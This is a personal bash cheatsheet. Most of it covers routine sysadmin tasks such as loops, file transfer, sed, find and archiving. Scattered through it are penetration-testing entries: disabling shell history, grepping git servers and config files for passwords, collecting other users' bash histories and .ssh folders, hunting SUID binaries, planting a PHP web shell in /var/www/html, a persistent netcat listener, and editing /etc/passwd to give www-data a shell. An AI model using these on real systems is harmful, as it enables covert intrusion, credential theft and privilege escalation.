Bash Cheatsheet

I've gotten tired of googling the same things over and over again.

While loops

Note to self: If you find yourself doing this, you should probably stop and reevaluate why you're not using python. Also, this is obviously an infinite loop, and is probably not going to be especially helpful.

item=true
while [ $item = true ]; do echo 'bla'; done

For loops

This will compute the md5sums for every item in the current directory:

for i in $(ls); do md5sum $i; done | sort

This will print out 1 through 10:

for COUNT in $(seq 1 10); do
  echo $COUNT
  sleep 1
done

SCP file to a remote host with a specific port

scp -P <port>

Resource:
https://askubuntu.com/questions/182478/ssh-scp-to-copy-file-to-remote-server-port-21

SCP file between two remote hosts from your computer

This is useful if you have two aws instances, and want to transfer a file between them from your laptop.
scp -3 -i <pem file> user1@system_with_file:/file/to/xfer user2@system_that_needs_file:/file/to/xfer

Resource: https://superuser.com/questions/686394/scp-between-two-remote-hosts-from-my-third-pc

Create sudo user non-interactively

Skip the prompts that come with creating a user typically, and give them sudoers privileges. Replace *username* with the user you want to create.

adduser --disabled-password --gecos "" *username*
touch /etc/sudoers.d/10_*username*
echo '*username* ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/10_*username*

Resource: https://askubuntu.com/questions/94060/run-adduser-non-interactively

Run function as another user

export -f <function_name>
su <user to run function as> -c "bash -c <function_name>"

Exit-on-error mode

Put this at the top of your bash script: set -e.
If a command returns a nonzero status, the shell will exit.

Resource: https://unix.stackexchange.com/questions/97101/how-to-catch-an-error-in-a-linux-bash-script

See files that would be unzipped without unzipping

unzip -v <file>.zip>

Unzip to a directory

unzip package.zip -d /opt

Resource: https://www.cyberciti.biz/faq/linux-howto-unzip-files-in-root-directory/

Color output in less

Use less -r <file>

Code Style

Function declarations:

my_func(){

}

Variable declaration:

cool_var='great'

Source filenames should be lowercase with underscores to separate words, i.e. the_best_script.sh

Resources:
https://google.github.io/styleguide/shell.xml#Variable_Names
https://dev.to/puritanic/shellscripting-functions-2696
https://stackoverflow.com/questions/673055/correct-bash-and-shell-script-variable-capitalization

Global variables in functions

If you want to set something as a global variable and use it in a function, do the following:

export SOMETHING="variable"

great_function(){
    echo $SOMETHING
}

Parse an env file

export $(egrep -v '^#' .env | xargs)

The env file you want to parse should look something like this:

FOO='bar'
USERNAME='user'

Resource: https://gist.github.com/judy2k/7656bfe3b322d669ef75364a46327836

Send message to all users

echo "hi" | wall

Move file with rsync

rsync --partial --progress filename.txt user@ipaddress_or_hostname:~

Use SSH and rsync together

rsync -avzhe ssh <folder to copy> user@192.168.1.2:/location/to/copy/to

Resource: https://linuxtechlab.com/files-transfer-scp-rsync-commands/

Break up VM into multiple 1 GB files

Need to transfer a VM? Try this.
split -b 1000m vm.ova vm.ova.split

Bring it back together

cat vm.ova.splita* > vm.ova

Kill netcat after 3 seconds

Great if netcat doesn't want to die
timeout 3 nc google.com 80; echo exit=$?

Resource: https://unix.stackexchange.com/questions/96817/how-do-i-get-the-nc-command-to-end-after-2-seconds

Find if string exists in a file

if grep -q SomeString "$File"; then
  Some Actions # SomeString was found
fi

Resource: https://stackoverflow.com/questions/11287861/how-to-check-if-a-file-contains-a-specific-string-using-bash

Delete files if they match a wildcard

If you have two files, someFile and someFile2, this will delete both of them:

if ls someFile* 1> /dev/null 2>&1; then
  rm someFile*
fi

Resource: https://stackoverflow.com/questions/12375722/how-do-i-test-in-one-line-if-command-output-contains-a-certain-string

Check if multiple binaries are installed

if hash cowsay 2>/dev/null && hash gshuf 2>/dev/null; then
  # do things if both are installed
fi

Check if file does not exist

if [ ! -f "some/file.txt" ]; then
  # do things if the file is not there
fi

One-liner to check if file exists

if [ ! -f /tmp/foo.txt ]; then echo "File not found!"; else echo "file found"; fi

Resource: https://unix.stackexchange.com/questions/474244/one-liner-to-check-for-file-exists

Create directory if it doesn't exist

[[ -d dir ]] || mkdir dir

Resource: https://stackoverflow.com/questions/18622907/only-mkdir-if-it-does-not-exist

View output of a running process in another bash session

strace -p <pid> -e write

Resource: https://unix.stackexchange.com/questions/58550/how-to-view-the-output-of-a-running-process-in-another-bash-session

Number of duplicate lines in a file

sort <file> | uniq -c

Resource: https://stackoverflow.com/questions/6712437/find-duplicate-lines-in-a-file-and-count-how-many-time-each-line-was-duplicated

Run command in another directory as another user

This particular example is used to run a command as root in another directory

sudo -u root /bin/bash -c 'pushd "$HOME/.some_directory/"; ls -lart; popd'

Resource: https://stackoverflow.com/questions/10382141/temporarily-change-current-working-directory-in-bash-to-run-a-command

Bypass post-install configurations

If you have to install things via apt and run into blue screens that require human interaction, do this to avoid it:

sudo DEBIAN_FRONTEND=noninteractive apt install -yq [packagename]

Resource: https://serverfault.com/questions/227190/how-do-i-ask-apt-get-to-skip-any-interactive-post-install-configuration-steps

Get count of and list of most frequently used bash commands

history | awk '{a[$2]++;next}END{for (i in a){print i " --> " a[i]}}' | sort -nr -k3

Reinstall a package in a debian-based system

sudo apt install --reinstall <package> -y

Unable to fetch some archives, maybe run apt-get update or try with --fix-missing

Run this if apt update --fix-missing isn't working for you:

rm -rf /var/lib/apt/lists/*; apt update

Alternatively, you can also try:

apt clean; apt update

Resource: https://stackoverflow.com/questions/38743951/unable-to-fetch-some-archives-maybe-run-apt-get-update-or-try-with-fix-missin

View images on a remote system

ssh -Y user@server
apt install -y eog
eog pictures/foo.png

Resource: https://superuser.com/questions/557622/how-can-i-view-pictures-via-ssh

Save off auth logs for review

Useful to see who has logged into your system and when

last -F > /tmp/last

https://serverfault.com/questions/375091/getting-login-year-data-with-the-last-command-on-linux

"Incognito mode" for bash

Turn off history for a session.

export HISTFILE=

If you do want a record of your activity in another file, run this command instead:

export HISTFILE=0

This will create a file, 0, with your history for that session.

Resources:
https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List
https://www.maketecheasier.com/linux-command-line-history-incognito/

List NFS mounts

mount |grep nfs

When all users last logged in

lastlog

All previously logged in users

lastlog |grep -v "Never"	

Resource: https://www.rebootuser.com/?p=1623

Find if host is sharing file systems

If there are local mounts, you will be able to see who you're sharing with.

showmount -e localhost

Hosts with active connections to the system

netstat -pan |grep ESTABLISHED

Check if file has a certain number of lines

If file has 3 lines, tell us about it:

if [[ $(wc -l file) == *3* ]]; then
  echo "There are three lines in file"
fi

Resource:
https://stackoverflow.com/questions/12375722/how-do-i-test-in-one-line-if-command-output-contains-a-certain-string

If wc provides an inaccurate count

Add a newline to the end of the file with:

printf "\n" >> file.txt

Resource: https://stackoverflow.com/questions/12616039/wc-command-of-mac-showing-one-less-result

Strace

strace /bin/ls

Filter on write functions:

strace -e write /bin/ls

Objdump

Used to get the assembly output of a given binary

objdump -d <binary> | tee binary_output.txt

GDB

There's a whole page I've dedicated to this:
GDB Notes

List largest directories and files

du -hsx * | sort -rh | head -10

Resource: https://www.cyberciti.biz/faq/how-do-i-find-the-largest-filesdirectories-on-a-linuxunixbsd-filesystem/

Semicolon vs + in find

Resource: https://stackoverflow.com/questions/6085156/using-semicolon-vs-plus-with-exec-in-find

Check if you can ssh to several hosts

hosts.txt:

host1.com
192.168.1.2

test_ssh.sh:

for SERVER in $(cat hosts.txt); do
  ssh -i id_rsa -o StrictHostKeyChecking=no -o BatchMode=yes user@$SERVER exit && echo OK $SERVER || echo ERR $SERVER
done

Resource: https://stackoverflow.com/questions/49564299/script-to-check-if-i-can-access-multiple-servers

Kerberos

List tickets in a keytab

ktutil -kt file.keytab list

Resources:
https://kb.iu.edu/d/aumh#list
https://community.pivotal.io/s/article/Kerberos-Cheat-Sheet

Create kerberos ticket

kinit <username> -k -t /where/to/store/keytab/nameofkeytab.keytab

Not matching with grep

This example will find all jobs that don't contain com:

launchctl list | grep -v com

Regexing with grep

This will get the version of ruby from rvm:
rvm list | head -n 1 |grep -Po '\-(.*?)\s' | tail -c +2
The output from that command that it is parsing will look something like this: ruby-2.5.1 [ x86_64 ]

It will return 2.5.1.

Resource: https://askubuntu.com/questions/89995/bash-remove-first-and-last-characters-from-a-string

Create self-signed cert

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365

Resource: https://stackoverflow.com/questions/10175812/how-to-create-a-self-signed-certificate-with-openssl

Create SSH key script

if [ ! -e ~/.ssh/id_rsa.pub ]; then
  echo
  echo 'Creating your public and private ssh keys'
  echo '----------------------------------------'

  # Create public and private 2048 bit ssh key pair without pw prompt
  ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa -N ''
  echo

  # Copy new key to make it possible to autologin
  cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
  chmod 0600 ~/.ssh/authorized_keys

  # Add the ssh key
  eval "$(ssh-agent)"
  ssh-add ~/.ssh/id_rsa
else
  echo
  echo "Public ssh key file already exists"
  echo "----------------------------------------"
fi

Resources:
https://stackoverflow.com/questions/10767488/automate-ssh-keygen-t-rsa-so-it-does-not-ask-for-a-passphrase
https://unix.stackexchange.com/questions/48863/ssh-add-complains-could-not-open-a-connection-to-your-authentication-agent/48868

Archivers

Extract command

This will extract several popular formats for you without needing to worry about the syntax for each:

extract() {
  if [ -f $1 ] ; then
      case $1 in
          *.tar.bz2)   tar xvjf $1    ;;
          *.tar.gz)    tar xvzf $1    ;;
          *.bz2)       bunzip2 $1     ;;
          *.rar)       rar x $1       ;;
          *.gz)        gunzip $1      ;;
          *.tar)       tar xvf $1     ;;
          *.tbz2)      tar xvjf $1    ;;
          *.tgz)       tar xvzf $1    ;;
          *.zip)       unzip $1       ;;
          *.Z)         uncompress $1  ;;
          *.7z)        7z x $1        ;;
          *)           echo "don't know how to extract '$1'..." ;;
      esac
  else
      echo "'$1' is not a valid file!"
  fi
}

Tar

Untar to specific directory

tar -xf archive.tar -C /target/directory

Resource: https://askubuntu.com/questions/45349/how-to-extract-files-to-another-directory-using-tar-command

Create tar.gz with var

name="directory_name"
tar -czvf "$name".tar.gz $name

Show successful ssh logins

grep sshd.\*Accepted /var/log/auth.log

Show failed ssh logins

grep sshd.\*Failed /var/log/auth.log

Create encrypted zip

zip -r unenc.zip original_file
openssl enc -in unenc.zip -aes-256-cbc -e > enc.zip
# enter password when prompted

Depending on the situation, you may consider destroying the original unencrypted file:

rm unenc.zip

Decrypt and unzip encrypted zip

openssl enc -in enc.zip -aes-256-cbc -d > unenc.zip
# enter password when prompted
unzip unenc.zip

Remove duplicates from a file

sort inputFile | uniq -u > outputfile

Curl

Upload a file

To upload a file to an endpoint at /upload with a form field, fileUpload, you can do the following:

curl http://target.com/upload -F "fileUpload=@test.txt" -vvv

Send a POST request with params

curl -d "param1=value1&param2=value2" -X POST http://localhost:4999/target

Download a file

This will also ensure that if a proxy is in place, it will not be used to connect to target.com.

curl http://target.com/puppet-linux --output puppet-linux -vvvv --noproxy target.com

Resource:
https://stackoverflow.com/questions/800805/how-do-i-make-curl-ignore-the-proxy

Use proxy

Useful to proxy requests through something like Burp Suite.

curl -X GET http://google.com --proxy http://localhost:8080

Resource:
https://forum.portswigger.net/thread/how-do-i-get-burpsuite-to-intercept-my-curl-x-get-requests-that-i-am-launching-from-command-line-bfb630dd

3000 millisecond timeout

curl -m 3 http://www.google.com

Resource: https://ec.haxx.se/usingcurl-timeouts.html

Check if a string is a timestamp

date -r <string>

For example:

date -r 1530279830

Resource:
https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce

Kill all python processes in Ubuntu

pkill python

Resource:
https://www.techwalla.com/articles/how-to-kill-all-python-processes-in-ubuntu

Useful alternative to man pages

https://explainshell.com

Display Web Content in Terminal

curl http://www.cyberciti.biz/
lynx -dump www.cyberciti.biz
wget -O - http://www.cyberciti.biz

Resource:
https://www.cyberciti.biz/faq/unix-linux-get-the-contents-of-a-webpage-in-a-terminal/

Open file, grep it, send output to command

This particular example will search for instances of the ENC string and send them to eyaml decrypt -s:

cat file.txt |grep ENC | xargs --null eyaml decrypt -s

Delete to end of line in terminal

Ctrl+k

Delete to beginning of line in terminal

Ctrl+u
Resource: https://askubuntu.com/questions/269046/bash-delete-from-cursor-till-end-of-line-with-a-keyboard-shortcut

Generate a self-signed cert

openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out key.crt -keyout key.key

Find secrets on git server

This can be useful if you land on a git server and want some juicy secrets

for i in $(git ls-tree -r master | cut -d " " -f 3 | cut -f 1); do echo -e "${i}"; git cat-file -p ${i} | grep -i password; done

Resource: https://twitter.com/curi0usJack/status/1162452287677186050?s=20

Grep through several tar.gz files

find . -name \*.tar.gz -print0 | xargs -0 zgrep "STRING"

Resource: https://unix.stackexchange.com/questions/187742/how-do-i-grep-recursively-through-gz-files

SSHD with custom file

sshd -f <path/to/sshd_config/file>
For example:
sshd -f /tmp/sshd_config

The sshd_config file can look roughly like this:

Port 6022
HostKey /tmp/sshd_config/host_rsa
PasswordAuthentication yes
PermitRootLogin no

Run command repeatedly

My default tends to be while true; do <command>; sleep 2; done. However, a cleaner alternative can be done with watch:

watch <command>

For example:

watch date

Resource: https://www.howtoforge.com/linux-watch-command/

Sleep with timer

Set MIN to the desired number of minutes you want to sleep for:

MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e

Resource: https://www.commandlinefu.com/commands/view/5886/countdown-clock

Base64 encode with no word wrap

Useful for long strings that you want to base64 encode.

echo "thing" | base64 -w 0

Resource: https://conf.splunk.com/files/2019/recordings/SEC2286.mp4

Base64 decode string

echo 'stringtodecode' | base64 -d

Resource: https://www.base64decode.net/linux-base64-decode

Test if variable is set

if [ -z $1 ]; then
  echo "no input provided";
else echo "input is '$1'";
fi

Resource: https://stackoverflow.com/questions/3601515/how-to-check-if-a-variable-is-set-in-bash

Add ssh fingerprint to known_hosts

Useful if you need this functionality in a script (sometimes this arises with ansible, for instance)

ssh-keyscan -H <ip address> >> ~/.ssh/known_hosts

Resource: https://www.techrepublic.com/article/how-to-easily-add-an-ssh-fingerprint-to-your-knownhosts-file-in-linux/

Check if input is an ip address

if [ -z $1 ]; then
  echo "Usage: $0 <ip address>"
  exit
else
  if [[ $1 =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "Valid IP input, doing things with $1"
  else
    echo "Invalid IP input"
    exit
  fi
fi

Resource: https://stackoverflow.com/questions/13777387/check-for-ip-validity

Check if input is != to a string

if [[ "$1" != "puppet" ]] && [[ $1 != "chef" ]] || [[ -z $1 ]]; then
  echo "Usage: $0 <CM target>"
  exit
fi

Resource: https://unix.stackexchange.com/questions/67898/using-the-not-equal-operator-for-string-comparison

Output only found files w/ grep

grep -rnlw "stringtofind" .

Resource: https://stackoverflow.com/questions/3908156/grep-output-to-show-only-matching-file

UFW

Show open ports

ufw status

Allow port

Open the firewall for port 46666:

ufw allow 46666/tcp

Allow service

This will work for OpenSSH:

ufw allow 'OpenSSH'

This is for Apache:

ufw allow 'Apache Full'

Disable UFW

ufw disable

Enable UFW

ufw enable

Resource:
https://linuxize.com/post/how-to-setup-a-firewall-with-ufw-on-ubuntu-18-04/

Keep NC listener open

This will ensure that netcat doesn't hang when an incoming connection is established.

nc -lvk <port to listen on>

Resource: https://unix.stackexchange.com/questions/423407/how-can-i-keep-netcat-connection-open

Create random string

head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo ''

Example usage:

wget https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php -O "/var/www/html/$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '').php"

Resource: https://unix.stackexchange.com/questions/230673/how-to-generate-a-random-string

Remove newline from end of string

tr -d '\n'

Resource: https://stackoverflow.com/questions/12524308/bash-strip-trailing-linebreak-from-output

Create three directories in tmp:

mkdir /tmp/{d1,d2,d3}

Crontabs for another user

You need to be root to do this.

List crontabs for <user>:

crontab -u <user> -l

You can also edit a crontab by using -e in place of -l.

Copy file to location with random name

# This will remove dashes, newlines and spaces
name=$(date | md5sum | tr -d '-' | tr -d '\n' | tr -d ' ')
if cp -R orig "$name"; then
  echo "Created $name"
fi

Resources:
https://www.howtogeek.com/howto/30184/10-ways-to-generate-a-random-password-from-the-command-line/
https://stackoverflow.com/questions/15801599/shell-script-copy-directory-passed-as-variable-to-another-directory-also-as-var

SSH

SCP files using wildcard

Be sure to escape the wildcard, i.e. file-\*

Full example:

scp ubuntu@target:~/.config/cred\*

Resource:
https://unix.stackexchange.com/questions/27419/how-to-use-wildcards-when-copying-with-scp

Show routes

netstat -nrl

Create route

This is useful if you're having issues with VPN and something like Burp Suite.

sudo route add <target system> <local IP>

Netstat (without actually running it)

awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
}
function getIP(str,ret){
    ret=hextodec(substr(str,index(str,":")-2,2)); 
    for (i=5; i>0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
} 
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp 

Resource:
https://staaldraad.github.io/2017/12/20/netstat-without-netstat/

Show routing rules to reach a destination

ip route get <target>

For example, this will show the route that your system will take to get to 8.8.8.8 (Google's DNS Server):

ip route get 8.8.8.8

Note that you can also run this command on a mac after you install the iproute2mac package via: brew install iproute2mac

Resource: https://systemoverlord.com/2020/03/22/security-101-virtual-private-networks-vpns.html

Remove leading and trailing whitespace

awk '{$1=$1;print}'

Resource:
https://unix.stackexchange.com/questions/102008/how-do-i-trim-leading-and-trailing-whitespace-from-each-line-of-some-output

Make

Echo output

@echo Things I want to say!

Resource:
https://www.gnu.org/software/make/manual/html_node/Echoing.html

Get size of current directory

du -hsx

Find

Grep output of find and save to file

find . -iname "thing to find" -exec grep -rnw "term to search" {} \; | tee filename

As an example, we can search for all python files recursively from the current directory and then grep for the word "git" in those files:

find . -iname "*.py" -exec grep -rnw "git" {} \; | tee git

Resource: https://unix.stackexchange.com/questions/131535/recursive-grep-vs-find-type-f-exec-grep-which-is-more-efficient-faster

Find and replace all instances of a string

This will find all go files recursively from the current directory and replace all instances of "toreplace" with "replaced".

Linux:

find . -iname "*.go" | xargs sed -i 's/toreplace/replaced/g'

OS X with gnu-sed (installed via brew install gnu-sed):

find . -iname "*.go" | xargs gsed -i 's/toreplace/replaced/g'

Resource: https://stackoverflow.com/questions/1585170/how-to-find-and-replace-all-occurrences-of-a-string-recursively-in-a-directory-t

Find directories with a certain name

find . -type d -name "thingtosearchfor*" -print 2>/dev/null

Resource: https://askubuntu.com/questions/153144/how-can-i-recursively-search-for-directory-names-with-a-particular-string-where

Find a specific file

find /etc -name "passwd"

Find all bash_histories and send their contents to a file

find . -iname ".bash_history" -exec cat {} \; | tee ~/bash_histories.txt

Resource: https://stackoverflow.com/questions/864316/how-to-pipe-list-of-files-returned-by-find-command-to-cat-to-view-all-the-files

List all directories the current user has access to

find . -maxdepth 1 -type d -perm -u=rx

Run ls -lart on all dirs current user can access

This will also display the folder at the top of the output because we've used +.

find . -maxdepth 1 -type d -perm -u=rx -exec ls -lart {} + 2>/dev/null

Find all bash_history files the current user can read

find . -maxdepth 1 -type d -perm -u=rx -print0 | xargs -0 -I{} find '{}' -readable -iname '.bash_history' 2>/dev/null

Find all .ssh directories that the current user has access to

Clean:

find . -maxdepth 1 -type d -perm -u=rx -print0  | xargs -0 -I{} find '{}' -readable -type d -iname '.ssh' 2>/dev/null

Not quite as clean:

find . -maxdepth 1 -type d -perm -u=rx | xargs ls -lart 2>/dev/null |grep .ssh | grep "^.r..r..r"

Breaking this down:

find . -maxdepth 1 -type d -perm -u=rx - find all directories the current user has access to

| xargs ls -lart 2>/dev/null - send the output of the find command to

ls -lart and suppress the Permission denied messages

|grep .ssh | grep "^.r..r..r" - output all files with ssh in the name with read permissions for all users

Show all occurences of users running ssh

find . -name .bash_history -print -exec grep ssh {} \;

Find all .go files recursively

find . -name "*.go"

Find bins with SUIC or SGID set

Added output to /tmp/out.txt and backgrounded in the event you're on a crappy shell.

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done | tee /tmp/out.txt &

Search for secrets in config.xml files recursively

In this example, we are searching for patterns in config.xml files matching <secret, <password, or <credential:

find . -name "config.xml" -exec grep -iE "<secret|<password|<credential" {} + | uniq -u

Find all csv files and delete them

find . -name "*.csv" -exec rm {} +

Destroy all json files recursively

find . -name "*.json" -exec rm {} \;

Resource: https://www.cyberciti.biz/faq/linux-unix-how-to-find-and-remove-files/

Show all executable files

find . -maxdepth 1 -perm -111 -type f

Resource: https://stackoverflow.com/questions/7812324/finding-executable-files-using-ls-and-grep

Find world writeable directories

find /\(-perm -o w -perm -o x\) -type d 2>/dev/null

Resource: https://delta.navisec.io/privilege-escalation/

Great find tutorial

TomNomNom breaks down the find command and makes it very approachable with this tweet: https://twitter.com/TomNomNom/status/1269263730992439296

Open command for editing

This is very useful if you have a long command that you want to modify quickly.

Type the following to open a file:
CTRL + x CTRL + e

Resource: https://stackoverflow.com/questions/657130/fastest-ways-to-move-the-cursor-on-a-terminal-command-line

Get second column of file

cat output.csv | awk '{print $2}'

Download entirety of a site

wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

Resource: https://stackoverflow.com/questions/11124292/why-does-wget-only-download-the-index-html-for-some-websites

Sed

Insert text after matched string

This will add retries=2 after [ssh_connection] in ansible.cfg:

sed -i '/\[ssh_connection\]/a retries=2' ansible.cfg

Resource: https://unix.stackexchange.com/questions/121161/how-to-insert-text-after-a-certain-string-in-a-file

Remove last line of a file

sed -i '$ d' foo.txt

Resource: https://stackoverflow.com/questions/4881930/remove-the-last-line-from-a-file-in-bash

Find and replace line in file

This will work with both osx and linux. It's important to note that you should not change anything except for <orig pattern>, <modified>, and file.txt.

sed -i".orig" 's/<orig pattern>/<modified>/' file.txt

Resource: https://stackoverflow.com/questions/7573368/in-place-edits-with-sed-on-os-x

Find and replace line assigned to variable in file

OSX (this will create a file.original, which is necessary for native OSX sed):

new_str="so new"
sed -i'.original' -e "s/staticlineinfile/$new_str/g" "file/to/change.conf"

Remove the .original file:

rm "file/to/change.conf.original"

Linux (you can also use gsed in OSX if you install gnu sed):

sed -i "s/dahclamps/$name/g" "$name/default/app.conf"

This will avoid having to create and remove the .original file.

Resources:
https://stackoverflow.com/questions/4247068/sed-command-with-i-option-failing-on-mac-but-works-on-linux
https://askubuntu.com/questions/76808/how-do-i-use-variables-in-a-sed-command

Add prefix to command output

yourcommand1 | sed  's/^/[prefix1]/'

For example, this will get all ip addresses associated with running containers, and add http:// to the front of each of them:

docker ps | awk '{ print $13 }' | grep -o -P "(.*:\d+)" | sed  's/^/http:\/\//'

Resource: https://stackoverflow.com/questions/42482477/add-prefix-in-bash-command-output

Remove nth line of a file

Remove the nth line of a file:

sed 'Nd' file

You have to use -i to modify the file.

For example, to remove the second line from somefile.txt and overwrite it:

sed -i '2d' somefile.txt

Resource: http://www.aodba.com/use-sed-command-delete-lines-linux/

Change shell with sed

This will change the shell from /usr/sbin/nologin to /bin/bash for the www-data user:

sed -i '/www-data/s/\/usr\/sbin\/nologin/\/bin\/bash/g' /etc/passwd

Resource: https://superuser.com/questions/558394/replacing-bin-bash-with-bin-false-in-etc-passwd-file

Merge two folders

rsync -avh --progress /path/to/source/ /path/to/destination

For example, if you have a recipes folder in /Volumes/stuff/recipes that you want to sync with your local recipes folder:

rsync -avh --progress ~/recipes /Volumes/stuff

Resources:
https://unix.stackexchange.com/questions/149965/how-to-copy-merge-two-directories
https://unix.stackexchange.com/questions/149965/how-to-copy-merge-two-directories#:~:text=If you want to move,are on the same filesystem.